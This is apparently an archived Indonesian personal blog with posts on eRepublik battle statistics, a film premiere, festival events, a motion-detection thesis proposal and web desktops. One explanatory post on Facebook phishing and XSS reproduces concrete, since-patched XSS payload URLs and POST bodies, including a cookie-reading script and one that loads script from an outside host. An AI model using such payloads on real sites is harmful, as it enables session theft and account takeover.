Revival's of Simplicity

[FER Battle] All about Battle 465 (Update Stat)

2010-09-03T09:16:00.000-07:00

[FER Battle] All about Battle 465 (Update Stat)

english version below

Pengen Langganan Koran ini, klik subscribe. pengen bantu koran ini masuk top 5, klik vote

Your Vote, shout and Subscribe really help me.

Update - Day 1018 : 09.00 eRepublik Time

Di semua battle terjadi masalah yang sama.

same problems occurred on the other battles

forum about battle of FER

War module isn't ready yet

We broke the Server in the FER battle
battle stat

Perang antara eUSA dan eRussia semakin memuncak pada battle of Far Eastern Russia yang dimulai kemaren. Battle ini ditutup oleh admin dengan kemenangan di tangan eRussia.

*klik gambar untuk memperbesar

hingga artikel ini dicetak, battle masih berlanjut tanpa seorangpun dapat ikut berperang (bisa dilihat pada halaman war list)

kemungkinan alasan mengenai ditutupnya perang adalah karena adanya error/masalah entah bug atau serangan hack dari pihak tertentu / pihak ketiga.

Kronologi : Pada battle FER semenjak penulis ingin bergabung kembali di perang pada jam 13.00 Waktu Erepublik (03.00 WIB) terjadi pengulangan turn berulang-ulang (dimana selalu eUSA attack Turn) dan hal ini menyebabkan banyak citizen yang tidak dapat deploy karena turn selalu dalam keadaan loading.

*turn yang menjadi masalah

Dalam hal ini admin belum mengklarifikasi permasalahan penutupan battle FER pada korannya

hal ini mengundang banyak pertanyaan dari para citizen di erepublik, beberapa diantaranya ada pada artikel2 dibawah ini

+ The Russians won FER... um... wait wat?

+ Today's Word: Disappoint

terdapat juga artikel yang merasa salah satu pihak berbuat kecurangan : EDEN HACKER STRIKES AGAIN!!

Stat peperangan :

Summary

Fighters : 7.112

Total Fights : 37.256

Total Damage : 1.569.131,61

Defender (Russia dan aliansi PHX)

Fighters : 3.649

Total Damage : 796.731,86

Total Fights : 18.637

Total Kills : 9.592

Total Deaths : 9.045

Attacker (eUSA dan Eden + Broalliance)

Fighters : 3.463

Total Damage : 772.399,75

Total Fights : 18.619

Total Kills : 9.036

Total Deaths : 9.583

Top 4 Defender Country

1. Serbia, 686 Fighter, 3.042 Fight, 125.700,36 damage, 1.504 kill, 1.538 death

2. Russia, 485 Fighter, 2.546 Fight, 108.473,17 damage, 1.314 kill, 1.232 death

3. Indonesia, 237 Fighter, 1.417 Fight, 66.750,25 damage, 790 kill, 627 death

4. Hungary, 283 Fighter, 1.406 Fight, 63.619,53 damage, 742 kill, 664 death

Top 4 Attacker Country

1. Croatia, 731 Fighter, 4.137 Fight, 179.433,83 damage, 2.088 kill, 2.049 death

2. Poland, 509 Fighter, 2.281 Fight, 88.830,46 damage, 1.061 kill, 1.220 death

3. USA, 422 Fighter, 2.312 Fight, 88.135,25 damage, 1.006 kill, 1.306 death

4. Spain, 373 Fighter, 1.581 Fight, 56.129,49 damage, 660 kill, 921 death

Top Indonesian Fighter + me

1. rianprast, 2.176 dmg, 30 fight, 25 kill, 5 death

2. Imam Iqbal, 2.042,66 dmg, 33 fight, 26 kill, 7 death

3. Newton Hidayat, 1.647,40 dmg, 31 fight, 23 kill, 8 death

4. Franky, 1.451,40 dmg, 27 fight, 23 kill, 4 death

5. Bolodewo, 1.360,47 dmg, 27 fight, 16 kill, 11 death

.............

40. Galawana, 579,39 dmg, 13 fight, 8 kill, 5 death sorry ga bisa bantu banyak, ketemu ama tanker mulu dan ga bisa deploy pas pagi2

source : http://erep.maxihellas.com

English Version (sorry about my bad English)

Your Vote, shout and Subscribe really help me.

if anyone want to make a better translation, pm me.

War between eUSA dan eRussia growing on the battle of Far Eastern Russia started yesterday. This battle was closed by admin with eRussia Victory.

*click image to enlarge

Until this Article released, This battle is continuing without anyone can deploy (see war list page)

Possible reason admin closed this battle is because of system error/trouble or bug or hack atack from another party / third party.

Chronology : on FER battle, I want to re-join the battle at 13.00 erepublik time (03.00 GMT +7). but I can't deploy on the battlefield because there was occurred repeating the same turn (where always eUSA attack Turn) and this led many citizen can't deployed because the battle always on state loading.

*repeating turn

In this case, admin still hasn't clarified the problem of closing battle FER on his newspaper

this led to many citizens of erepublik questioned admin decision, for example on the following articles :

+ The Russians won FER... um... wait wat?

+ Today's Word: Disappoint

there alse an article which blame on one party who do the cheating : EDEN HACKER STRIKES AGAIN!!

Terima Kasih sudah membaca koran ini

ShareThis

Durian Open Movie Project - Sintel official premiere

2010-08-19T08:16:00.000-07:00

Durian Open Movie Project � Blog Archive � Sintel official premiere

Finally

Sintel trailer! from Dykam on Vimeo.

Just had it confirmed from the Festival committee:

Official premiere Sintel: Monday 27 september, 19:30h, in Rembrandt theatre, Utrecht, the Netherlands.

This screening is part of the normal festival, for which tickets have to be reserved or purchased via the theatre or via the festival itself.

Netherlands Film Festival website. (program will only be available sept 9)

Kaskus : Upacara Bendera Digital Pertama di Dunia 17 Agustus 2010

2010-08-16T14:41:00.000-07:00

Sumber : KASKUS.us: Upacara Bendera Digital Pertama di Dunia 17 Agustus 2010

BERGERAK SERENTAK! adalah sebuah pemanfaatan momentum kemerdekaan, bagian dari aksi gerakan IndonesiaOptimis. Hal ini dilakukan untuk menyebarkan keoptimisan, mengonstruksi ulang makna nasionalisme yg kontekstual (kekinian), lebih besar lagi, kami mengajak kamu menunjukkan pada dunia luar bahwa indonesia adalah bangsa yang optimis

Adapun gerakan yang dilakukan adalah sebuah upacara bendera digital melalui website www.indonesiaoptimis.org yang aktif mulai 17 Agustus 2010 jam 00.00 WIB. Pengalaman lain yang kami tawarkan adalah kita bisa memilih pembina upacara yang sesuai pandangan optimisme yg paling cocok dengan karakter kita. Kami menghadirkan:

Pandji Pragiwaksono, anak muda Indonesia yang aktif melalui gerakan IndonesiaUnite yang merespon aksi pemboman di Indonesia. Panji juga berkarya melalui lagu Kami Tidak Takut, e-book Nasional-Is-Me dan terakhir pencetus acara "Provocative - Proactive".
Iwan Esjepe, pendiri gerakan Indonesia Bertindak dengan salah satu tema populer Indonesia: Dangerously Beautiful. Iwan aktif mendukung, melestarikan gerakan nyata yang bertujuan menghadirkan kekompakan diantara kita bangsa indonesia dalam mewujudkan perbaikan, kekompakan dan kebersamaan pada bangsa Indonesia.

Ikuti juga aksi parkir bersama di Foursquare di tempat lahirnya bangsa ini, tempat sang merah putih berkibar untuk pertama kalinya di Monumen Tugu Proklamasi http://bit.ly/proklamasi. Jangan lupa serukan harapanmu untuk Indonesia dengan link to twitter + hashtag #upacarabendera

Kami perlu kamu!
Untuk membakar segala bentuk pesimisme yang menghalangi tumbuhnya harapan dan cita-cita
Untuk Indonesia

sumber: http://www.kaskus.us/showthread.php?p=263397391#post263397391

[music] I Don't Want to Set the World on Fire (1941)

2010-08-16T07:43:00.000-07:00

source : I Don't Want to Set the World on Fire - The Vault, the Fallout wiki - Fallout: New Vegas and more

…I Don't Want to Set the World On Fire" is a 1941 song by The Ink Spots, used in the Fallout 3 intro. It was initially going to be used in the original Fallout intro, but Interplay was unable to get the license, so it was scrapped and "Maybe", another song by The Ink Spots, was used. A reference remained in the dialog, as Dane recites the first line.

Lyrics

I don’t want to set the world on fire
I just want to start
A flame in your heart
In my heart I have but one desire
And that one is you
No other will do
I’ve lost all ambition for worldly acclaim
I just want to be the one you love
And with your admission that you feel the same
I’ll have reached the goal I’m dreaming of
Believe me
I don’t want to set the world on fire
I just want to start
A flame in your heart
[Spoken Word]
I don't wanna set the world on fire, honey
I love ya too much
I just wanna start a great big flame
Down in your heart
You see, way down inside of me
Darlin' I have only one desire
And that one desire is you
And I know nobody else ain't gonna do
[Sung]
I’ve lost all ambition for worldly acclaim
I just want to be the one you love
And with your admission that you feel the same
I’ll have reached the goal I’m dreaming of
Believe me
I don’t want to set the world on fire
I just want to start
A flame in your heart

[erepublik] The hacker hits again

2010-08-15T08:22:00.000-07:00

The hacker hits again <-- this is article on erepublik.com

This time the hacker choose a battle without too much meaning, but gave to some players a chance for ranking and skill points. Just look at the Top Fighters: 58k points. That's a record!

Anyways, more than 2500 clones invaded the battlefield

[294] Battle of Kyushu RW (War: 2713)

Combatants: Deployments: 2928, Fighting: 2595

The defender has 2784 more deployments and 2483 more fighters than the attacker.

Japan, Attacker (RW): 56 fighters, (total: 72), -245449 dmg, 2745 kills

1 fight: 10 fighters, -381 dmg, 3 k, 7 d

2 fights: 6 fighters, -348 dmg, 6 k, 6 d

more than 2 fights: 40 fighters, -244721 dmg, 2736 k, 130 d

Poland, Defender: 2539 fighters, (total: 2856), 19120 dmg, 255 kills

1 fight: 2427 fighters, 5782 dmg, 3 k, 2424 d

2 fights: 91 fighters, 922 dmg, 91 k, 91 d

more than 2 fights: 21 fighters, 12416 dmg, 161 k, 50 d

Citizenships:

Others:

Attackers:

1. Poland: 178784.31 dmg, 61f, 1987 k, 16.154 k/d

2. Croatia: 54711.59 dmg, 3f, 80 k, 0.148 k/d

3. Bulgaria: 8778.99 dmg, 1f, 6 k, 0.057 k/d

4. Finland: 1505.97 dmg, 1f, 1 k, 0.056 k/d

5. Peru: 946.83 dmg, 1f, 1 k, 0.077 k/d

6. Spain: 366.78 dmg, 2f, 5 k, 2.500 k/d

7. Ukraine: 355.97 dmg, 1f, 3 k, 0.750 k/d

8. Argentina: 0 dmg, 1f, 0 k, NaN k/d

9. Serbia: 0 dmg, 1f, 0 k, NaN k/d

Defenders:

1. Poland: 9047.59 dmg, 49 f, 117 k, 1.721 k/d

2. Japan: 5864.23999999992 dmg, 2800 f, 87 k, 0.031 k/d

3. Serbia: 3426.75 dmg, 2 f, 2 k, 0.049 k/d

4. Croatia: 507.79 dmg, 1 f, 4 k, 0.500 k/d

5. Venezuela: 192.11 dmg, 1 f, 2 k, 0.667 k/d

6. Spain: 38.4 dmg, 1 f, 1 k, Infinity k/d

7. USA: 4.36 dmg, 1 f, 1 k, Infinity k/d

8. Latvia: 0 dmg, 1 f, 0 k, NaN k/d

Top fighters:

Attacker:

1. Grievous (Field Marshal/Tank/Veteran*) : -58355.25 dmg, 630 k, 8 d, 78.75, k/d

2. Novaljac (Field Marshal/Tank/Expert) : -49071.75 dmg, 538 k, 15 d, 35.87, k/d

3. piotrek45612 (Field Marshal/Air unit/Nemesis) : -17056.15 dmg, 186 k, 4 d, 46.50, k/d

4. eziush (General/Tank/Nemesis) : -14396.11 dmg, 165 k, 6 d, 27.50, k/d

5. zucha (Field Marshal/Tank/Veteran*) : -11760.31 dmg, 133 k, 7 d, 19.00, k/d

6. HannibalBarkas (Field Marshal/Air unit/Veteran) : -10677.38 dmg, 120 k, 6 d, 20.00, k/d

7. Dziado (Field Marshal/Tank/Veteran) : -9799.14 dmg, 113 k, 4 d, 28.25, k/d

8. SturmmannIYI (Field Marshal/Tank/Veteran) : -8778.99 dmg, 105 k, 6 d, 17.50, k/d

9. Quantana (General/Rifle/Expert) : -7841.93 dmg, 91 k, 2 d, 45.50, k/d

10. Pan Hrabia (Colonel/Air unit/Expert) : -7000.15 dmg, 79 k, 6 d, 13.17, k/d

Defender:

1. tomekfaszcz (Field Marshal/Tank/Veteran) : 6641.32 dmg, 78 k, 3 d, 26.00, k/d

2. cd rom (Colonel/Artillery/Ranger) : 3375.25 dmg, 40 k, 1 d, 40.00, k/d

3. Straider (Field Marshal/Tank/Veteran) : 507.79 dmg, 8 k, 4 d, 2.00, k/d

4. Helliorn (Field Marshal/Tank/Ranger) : 289.79 dmg, 4 k, 3 d, 1.33, k/d

5. TripleH (Field Marshal/Tank/Veteran*) : 235.53 dmg, 4 k, 2 d, 2.00, k/d

6. Genetrix (General/Air unit/Ranger) : 231.02 dmg, 2 k, 1 d, 2.00, k/d

7. Soldier91 (Lieutenant/Rifle/Sharp Shooter) : 221.75 dmg, 5 k, 4 d, 1.25, k/d

8. eRAD (Colonel/Rifle/Ranger) : 192.11 dmg, 3 k, 2 d, 1.50, k/d

9. siekaxx (Lieutenant/Tank/Professional) : 162.64 dmg, 3 k, 1 d, 3.00, k/d

10. zamsz (Field Marshal/Tank/Veteran*) : 130.57 dmg, 2 k, 0 d, Infinity, k/d

Congrats! : )

Genia Festival : it's so FUN

2009-11-15T00:02:00.001-08:00

Genia Festival FREE YOUR FUN
Genia Festival FREE YOUR FUN
Genia Festival FREE YOUR FUN

wah, jadi pemeriksa postingan di Break The Record Genia festival ternyata

menarik. melihat isi postingan dari temen blogger maupun wordpress yang tentang

Genia, ada yang isinya ga jelas, ada yang coment sana-coment sini, ada yang

posting tentang artikel dan tutorial.

yang paling lucu adalah pas liat Blog tentang sexs education yang isinya tuh ternyata tentang keluh kesah saat ikut acara break the record ini.

semoga teman2 yang mosting, yang ngitung, yang jadi MC ato jadi PJ-PJ lain tetep semangat yak. [^o^]

Genia Festival : Motion Detection menggunakan Level Set dan Active Contour

2009-11-14T23:36:00.000-08:00

Genia Festival FREE YOUR FUN
Genia Festival FREE YOUR FUN
Genia Festival FREE YOUR FUN

Pengawasan, penghitungan trafik, kamera sekuriti, dan auto-capture camera merupakan sebuah sistem dimana dibutuhkan metode motion detection agar dapat bekerja secara otomatis. Sehingga dibutuhkan metode motion detection yang dapat bekerja secara real time dengan waktu pemrosesan cepat, dan dengan error rate yang kecil. Yang menjadi permasalahan adalah masih seringnya system pendeteksi gerak ini mengalami kesalahan deteksi seperti false alarm dan lost event. Hal tersebut dapat terjadi karena kurangnya intensitas cahaya, noise dan waktu pemrosesan yang terlalu lama.

Dalam pengembangannya, selain mengenali pergerakan motion detection juga harus dapat menandai objek yang bergerak. Dan menurut Suk-Hok Lee, Nam-Seok Choi dan Moon Gi Kang dalam jurnalnya “Motion Detection in Very Low Illumination Environment”, sebaiknya motion detection ini dapat mendeteksi pergerakan objek pada intensitas cahaya minimum guna pengaplikasiannya di malam hari. Hal inilah yang menjadi tantangan akan pengembangan metode motion detection kedepannya.

Algoritma motion detection itu sendiri sudah banyak yang mengembangkan, beberapa diantaranya dapat menyelesaikan masalah di atas, diantaranya ada Metode TMDA (TRISS Motion Detection Algorithm), metode Background Filtering, SUSAN (Smallest Univalue Segment Assimilating Nucleus), metode segmentasi gambar (image segmentation) dimana terdapat beberapa metode didalamnya seperti Geometric Active Contour, Active Contour pada Bayesian Framework, Bimodal Segmentation, Graph Algorithm (Pixel Labeling, Shortest Path Snake), Image Mosaic dsb, yang masing-masing metode memiliki cara tersendiri untuk mendeteksi pergerakan.

Metode segmentasi gambar dengan active contour memiliki beberapa kelebihan. Diantaranya, menurut pendapat Henkyun Woo, metode Level Set pada Image Segmentation sangat cocok pada sistem Motion Detection yang “Real Time”. Dalam jurnalnya Suk-Hok Lee, Nam-Seok Choi dan Moon Gi Kang, metode Level Set dapat mengatasi permasalahan minimumnya intensitas cahaya dari luar. Menurut Scott Acton dan Nilanjan Ray dalam bukunya menyatakan geometric active contour merupakan metode untuk menggambar outline dari objek dari hasil pencitraan 2D yang memiliki noise cukup besar. Metode ini dapat mendeteksi pergerakan dari objek dengan mencari active contour dari sebuah gambar dengan menggunakan pendekatan dari level set.

Berdasarkan beberapa pernyataan akan penelitian dan jurnal-jurnal sebelumnya, dengan mengimplementasikan Level Set dan Geometric Active Contour pada Image segmentation dapat menyelesaikan permasalahan diatas. Diantaranya dapat mendeteksi pergerakan suatu objek pada tingkat intensitas cahaya yang rendah sekalipun, mengurangi pengaruh dari perubahan intensitas cahaya dan noise dari kamera.

Perumusan masalah

Berdasarkan latar belakang yang telah dijelaskan sebelumnya, maka permasalahan yang akan dijabarkan dan diteliti antara lain:

1. Bagaimana dapat mendeteksi adanya pergerakan sebuah objek dan menandai objek yang bergerak secara real time.
2. Bagaimana agar dapat menangkap pergerakan objek pada ruangan dengan tingkat intensitas cahaya minimum.
3. Bagaimana agar tidak terpengaruh oleh noise dari kamera .
4. Bagaimana agar tidak terpengaruh oleh perubahan intensitas cahaya matahari tidak secara mendadak (dari siang – malam)

Tujuan

Tujuan yang ingin dicapai dalam pengerjaan Tugas Akhir ini adalah sebagai berikut:

1. Menentukan apakah sistem dapat mendeteksi pergerakan objek secara real time dengan asumsi pemrosesan 1 frame < 1 detik.
2. Menentukan resolusi optimum dimana sistem dapat bekerja secara real time (waktu pemrosesan 1 frame < 1 detik).
3. Menentukan dan menganalisis besaran dari threshold agar sistem memiliki error rate (False Alarms dan Lost Events) seminimum mungkin.
4. Menentukan batas intensitas cahaya minimum dimana sistem dapat bekerja Optimal dengan asumsi false alarm dan lost event minimum.
Asumsi : intensitas cahaya di ukur dengan menggunakan masking warna hitam dengan skala opacity terhadap video asli dan dengan merender video dengan intensitas cahaya berbeda pada software 3D.
5. Mengaplikasikannya dengan menggunakan Webcam.

Hipotesis dari tujuan diatas adalah :
Metode ini dapat mendeteksi sebuah objek bergerak secara real time dengan mencari active contour dari sebuah gambar dengan menggunakan pendekatan dari level set, dan dapat menangkap pergerakan objek dari intensitas cahaya yang kecil sekalipun.

Genia Festival FREE YOUR FUN
Genia Festival FREE YOUR FUN
Genia Festival FREE YOUR FUN

Genia Festival : the biggest IT (information Party) on Bandung

2009-11-14T22:28:00.000-08:00

Genia Festival adalah sebuah acara besar di Bandung, acara Genia Festival ini memiliki beberapa sub acara. diantaranya :

IT Party
adalah sebuah acara Opening dari Genia Festival yang bertemakan techno party, berlangsung di GSG IT Telkom dengan dekorasi minimalis namun tetep keren, menggunakan permainan cahaya dari infocus dengan bg visualizaton.

Break The Record
pemecahan record muri dengan posting terbanyak dalam satu tempat. berletak di GSG juga dengan disponsori oleh Lab Hardware dan Students ittelkom

IT Contest
Lomba PES, DoTA, CS, WDC dan DMC se Bandung dimana pemenangnya adalah DG Res untuk DoTA, DZ1 untuk CS dsb

IT Conference
Seminar dan Workshop GAME Making oleh lab RPL dan Microsoft Student Partne
IT Camp
Informatika Gathering SMA se Bandung + Jabotadebek.

IT Festival
Closing dari Genia Festival

Genia Festival FREE YOUR FUN
Genia Festival FREE YOUR FUN
Genia Festival FREE YOUR FUN
Genia Festival FREE YOUR FUN

Facebook Hack-able?? (info)

2009-07-02T01:40:00.000-07:00

facebook?? bisa di hack??

maksud dari pertanyaan diatas adalah bukannya situs facebook.com yang di hack melainkan hacking pada account-account di facebook dengan metode yang disebut “Phishing”.

apakah itu phishing??

dalam computer security, phishing didefinisikan sebagai suatu proses untuk mendapatkan informasi private seperti username, password dan kartu kredit dengan menggunakan dan memalsukan entitas terpercaya, bisa berupa memalsukan halaman dan link yang nyaris mirip dengan aslinya. (wikipedia)

phising ini biasanya dapat berupa email, instant messaging yang berisi link ke entitas terkait dengan .

benarkah phishing dapat dilakukan di facebook?? bagaimana menanggulanginya??

metoda phising dapat diterapkan di facebook dengan menggunakan metode fake login (1) dan dengan menggunakan Cross Site Scripting (XSS).

(1) seperti hal yang sudah diketahui, fake login artinya kita di kirim ke halaman login palsu dan diminta untuk login ulang. masalah ini mudah sekali ditangani dengan ketelitian anda setiap kali anda diminta untuk login. selalu perhatikan hal-hal dibawah ini :

- pastikan url (link) pada browser anda benar-benar http://www.facebook.com

- pastikan anda benar-benar sudah logout atau belum dengan masuk ke home dari facebook dengan mengetikan alamat http://www.facebook.com/home.php atau http://www.facebook.com

kita akan bahas masalah lebih lanjut pada masalah yang lebih serius yaitu (2) XSS atau Cross site scripting.

XSS adalah suatu kerentanan security computer pada aplikasi web yang memperbolehkan kita memasukan post / input berupa code injection pada sebuah halaman web yang kemudian halaman tersebut dapat dilihat oleh user lain. code yang biasanya di gunakan adalah client side code (html atau javascript)

pada XSS ini dapat digunakan oleh attacker untuk mencuri data sensitif seperti cookie (4) pada browser, id / username dan password, hingga melakukan bypass terhadap access control (5) seperti halnya same-origin-policy (6)

ket :

(4)cookies : suatu string kecil berisi text (bisa berupa id, password, username, dll) untuk validasi / verifikasi “who am i” untuk access pada sebuah website dan text tersebut tersimpan pada browser kita.

(5)access control : hak akses untuk mengontrol dari sebuah website (administrator, registered user dsb)

(6)same-origin-policy : hak untuk seseorang yang sebenarnya tidak berhak menjadi sama seperti hak pada orang yang seharusnya (original).

yang lebih bahaya dari XSS ini adalah user sering kali tidak sadar bahwa sudah terkena XSS, karena XSS berbeda dengan fake login. XSS tidak memiliki indikasi seperti fake url dan fake page, kita hanya melihat halaman pada facebook tidak memiliki keanehan dan kejanggalan walaupun terdapat XSS dan malicious code lain di dalamnya. salah satu cara yang dapat dilakukan adalah dengan menggunakan tools lain untuk memeriksa client-side code pada suatu website. salah satu tools yang dapat digunakan (firefox user only) adalah dengan menginstall plugins noScript pada Browser Firefox anda.

untuk menginstall noScript klik here

noScript akan memberikan notification berupa warning akan adanya XSS pada halaman web yang sedang anda kunjungi dan noScript juga dapat disetting opsi untuk selalu memblok javascript yang berbahaya (malicious code).

note : facebook team kerap melakukan update pada facebook.com berhubungan dengan kasus XSS ini.

Bagaimanakah attacker penyisipan malicious code (XSS) ke dalam Facebook??

banyak cara yang dapat dilakukan untuk menyisipkan XSS pada facebook, beberapa cara di antaranya sudah Fixed atau sudah di benahi oleh facebook team.

- menyisipkan code XSS pada profile (wall, status, dll) : sudah di benahi sejak 2007-2008

- mensubmit applikasi web (seperti games, dsb) pada apps.facebook.com yang memiliki XSS.

cara kedua ini yang hingga sekarang masih banyak digunakan, karena kita bisa mensubmit aplikasi pada facebook dan menyisipkan XSS kedalamnya. hingga sekarang facebook team menyortir aplikasi yang terindikasi memiliki XSS.

contoh beberapa XSS berbahaya yang pernah terdapat di Facebook yang mengirimkan cookie kita pada web lain sehingga attacker memiliki access control seperti kita dengan menggunakan cookie yang sama:

http://www.facebook.com/jobs/position.php?st=

%22%3E%3Ciframe%20src=http://xssed.com%3E%3C/iframe%3E

%3Cscript%3Ealert(document.cookie);%3C/script%3E

http://www.facebook.com/jobs/position.php?st=

%3CSCRIPT%20SRC=//ha.ckers.org/.j%3E

Contoh beberapa XSS pada Facebook yang telah ditangani oleh Facebook Team:

XSS #1 with POST

http://www.new.facebook.com/r.php

POST: reg_email__=”onmouseover=”alert(’XSS – ZJ’)”foo=”bar

XSS #2 with POST

https://login.facebook.com/login.php?iphone&next=http%3A%2F%2Fiphone.facebook.com%2F

POST:

email=biz%22%3E%3Cscript%3Ealert%28%27tohellwithgeorgia%27%29%3C%2Fscript%3E%3C%22&pass=greetz2evilghost&next=http%3A%2F%2Fiphone.facebook.com%2F&login=Login

XSS #3

http://apps.facebook.com/blognetworks/searchpage.php?tag=%22%3E%3Cscript%3Ealert(%22DaiMon%22)%3C/script%3E

This one works on another IP (67.228.87.82) and can’t be used for a worm, except a phishing one.

XSS #4 with POST

http://developers.facebook.com/tools.php?fbml

POST:

profile=1299125444&position=wide&api_key=%27%22%3E%3C%2Ftitle%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E%3E%3Cmarquee%3E%3Ch1%3EXSS+by+p3lo%3C%2Fh1%3E%3C%2Fmarquee%3E+&fbml=

sumber : http://www.xssed.com/news/80/New_highly_critical_Facebook_XSS_vulnerabilities_pose_serious_privacy_risks/

sumber : wikipedia, xssed.com, facebook, blog.blogsecurify.com

Desktop on Browser : Web Application (Schmedley vs g.ho.st vs EyeOS)

2009-07-01T08:21:00.000-07:00

“Desktop on Browser”, itulah konsep komputer yang ditawarkan di masa mendatang. Dimana kita tidak harus lagi memiliki space harddisk yang besar untuk menampung program-program desktop kita. Dengan memanfaatkan technology web 2.0 (web application) dengan AJAX dan software pendukung lain seperti silverlight dan flash memungkinkan untuk membuat aplikasi berbasis web.

beberapa desktop di browser yang sudah banyak di kenal sekarang seperti Schmedley, g.ho.st, EseOS dan masih banyak lagi. mari kita simak review dari web aplikasi berikut :

1. Schmedley

rating : 5

review :

menurut developernya, Schmedley adalah “YOUR personal web space”. sebuah modern portal yang menggabungkan :

an advanced web application (widget) platform
robust web page creation and publishing tools

schmedley.com memiliki user interfaces yang hampir mirip dengan Mac OS dengan beberapa pop up menu di bagian bawah. Schmedley ini menggunakan teknologi Ajax dan JavaScript untuk user Interfacesnya. Dengan AJAX maka Schmedley tidak membutuhkan bandwith yang besar untuk menggunakannya. Di schmedley kita dapat memiliki fitur penuh jika kita sign up account atau menggunakan fitur terbatas pada guest. Pada Schmedley kita dapat membuat beberapa desktop (multiple desktop).

fitur-fitur yang di miliki

- kita dapat mengubah warna background desktop atau menggantinya dengan image seperti layaknya desktop.

- beberapa social network connection seperti facebook, twitter, myspace

- beberapa koneksi dengan web lain seperti amazon.com, youtube.com

- beberapa computer accesories seperti : notes, to do list, calendar, games, radio, movies, images search, RSS, Forecast system, Stock market, email, meebo chatting dll.

- search engine

2. g.ho.st

rating : 5

review :

menurut developernya, g.ho.st adalah “every person in the world a free Virtual Computer (VC). “ dengan menggunakan akronim dari g.ho.st = Global hosted operating system

Freedom - computing environmentnya bisa diakses dari mana saja baik itu dengan PC atau mobile device.
No more administration – tidak lagi ada software installation, software update, backup, anti-virus.
Security – lebih aman dari pada PC yang mudah terkena virus, spyware dan disk crashes.
Cost – tidak perlu lagi banyak uang untuk lisensi software.
Fun And collaboration – dapat sharing files, bermain games, chatting, dll

Lebih lengkapnya di download g.ho.st White Books Download ( 1.72 MB )
g.ho.st memiliki user interfaces yang hampir mirip dengan Windows Vista dengan start menunya. G.ho.st ini menggunakan teknologi AJAX, Javacript dan flash untuk user Interfacesnya. Tidak membutuhkan bandwith yang besar untuk menggunakannya. sama halnya seperti schmedley, pada g.ho.st kita dapat memiliki fitur penuh jika kita sign up account atau menggunakan fitur terbatas pada guest.

fitur-fitur yang di miliki

- Aplikasi untuk Komunikasi : MEebo, IM, email

- Aplikasi Entertainment: MP3 player, Internet radios Last.fm & Pandora

- Office suite (for G.ho.st® Drive files): Zoho and ThinkFree

- External office suites (with their own storage): Google Docs

- Photo editing: Snipshot

- Search external data sources; drag-and-drop ke desktop dari :Amazon, Fliker, Y! Shopping, Youtube

- Games: dari miniclip dll

- Widgets: RSS news reader, Clock, Weather, Calculator, MP3 player, dll

- Kita juga dapat menambahkan aplikasi sendiri dengan widget.

3. EyeOS

rating : 5

review :

menurut developernya, EyeOS adalah “Cloud Computing Operating System”

berbeda dengan yang lainnya, EyeOS memiliki tampilan user interfaces yang benar-benar mirip dengan LINUX. sama seperti yang lainnya EyeOS ini menggunakan teknologi AJAX, Javacript untuk user Interfacesnya. dan didukung php sebagai server pagenya. Tidak membutuhkan bandwith yang besar untuk menggunakannya. yang membuat EyeOS berbeda adalah selain kita menjalankan EyeOS pada servernya dengan membuat account, kita juga bisa men download EyeOS dan menginstallnya pada Program Server kita dan mendeploynya. EyeOS benar-benar Free Ware dan Open Source, kita bisa membuat aplikasi sendiri dengan menggunakan EyeOS. EyeOS.org juga mengadakan kompetisi cloud computing software development dengan menggunakan EyeOS Designer dan EyeOS library. untuk lebih jelas tentang kompetisi klik disini.

fitur-fitur yang di miliki

File management
- Upload multiple files
- Easy visual file management
- Download entire folders as Zip
- Compress and uncompress Zip/Tar files
- Photo viewer and slideshow

Personal Information Management
- Calendar with multiple views
- Contacts manager
- Export and Import vCards

System
- Packages Installer
- Repository based Ports System
- Control system for groups and users
- Multiple instances of the applications

Office
- Word Processor
- Spreadsheets
- Presentations
- Support for MS Office and OpenDocument files

Network
- Internal Messaging System
- Bulletin Board
- Proxied FTP Client
- RSS Feeds Reader

Desktop
- Third-party applications
- Auto-run desired apps
- Translations
- Theming

beberapa Desktop on Browser lain :

Goowy

DesktopTwo

Glide Effortless

XIN

YouOS

nara sumber :

http://eyeos.org
http://g.ho.st
http://schmedley.com
http://www.readwriteweb.com

Pabrikasi Perangkat Lunak dengan SPL dan Metode-metode pendukungnya

2009-07-01T08:11:00.000-07:00

Software product line (SPL) adalah sebuah manufacturisasi pembuatan dari sebuah perangkat lunak, dimana dalam pembuatan software digunakan konsep reuse dari pembuatan perangkat lunak. Metode SPL sangat baik untuk membuat :

Sebuah perangkat lunak dimana hampir beberapa requirementnya sama dengan perangkat lunak lain
Variasi dari sebuah perangkat lunak
Penerbitan versi lanjutan dari sebuah perangkat lunak.

Metode SPL ini tumbuh berkembang dengan pesat di kalangan developers besar dimana semua ordernya merupakan mass-production yang membutuhkan pengembangan secara besar-besaran dan bertahap. Hal ini menjadi paradigma penting, dimana perusahaan-perusahaan atau software house untuk berusaha untuk meningkatkan efisiensi waktu, biaya dan resourse dalam membuat sebuah perangkat lunak. SPL juga memungkinkan developers untuk mengerjakan order perangkat lunak yang berskala besar.

Metode-Metode

Metode-metode yang biasanya digunakan dalam software product line adalah Domain Engineering biasanya disebut dengan Product Line Engineering. Dalam metode ini diterangkan bagaimana cara untuk me-reusing knowledge dalam hal pembuatan perangkat lunak. Dalam metode ini developers diminta untuk membuat dari domain (kesamaan dari setiap perangkat lunak / system yang sudah dibuat).

Metode Domain Engineering juga didukung oleh Domain Specific Modelling (DSM), yaitu sebuah metodologi rekayasa perangkat lunak dimana lebih pada pemodelan secara grafis di tingkat abstraction, biasanya didukung oleh DSL seperti UML. Dalam konsep ini knowledge yang dapat direuse adalah dari level abstractionnya dan dengan menggunakan/memanfaatkan teknologi code generation dari tools pengembangan perangkat lunak dapat dibuat perangkat lunak hanya dengan mereuse level abstraksinya.

Metode Feature Oriented Programming (FOP) atau Feature Oriented Software Development (FOSD), Adalah sebuah paradigma baru dimana pembuatan software dapat menggunakan reuse dari beberapa bagian system/software yang disebut dengan fitur. Fitur ini dipisah-pisah menjadi beberapa entitas yang dapat berdiri sendiri dimana fitur tersebut dapat di extend pada perangkat lunak yang akan dibuat. FOP ini biasanya digunakan pada saat kita menekankan akan variability dari sebuah perangkat lunak.

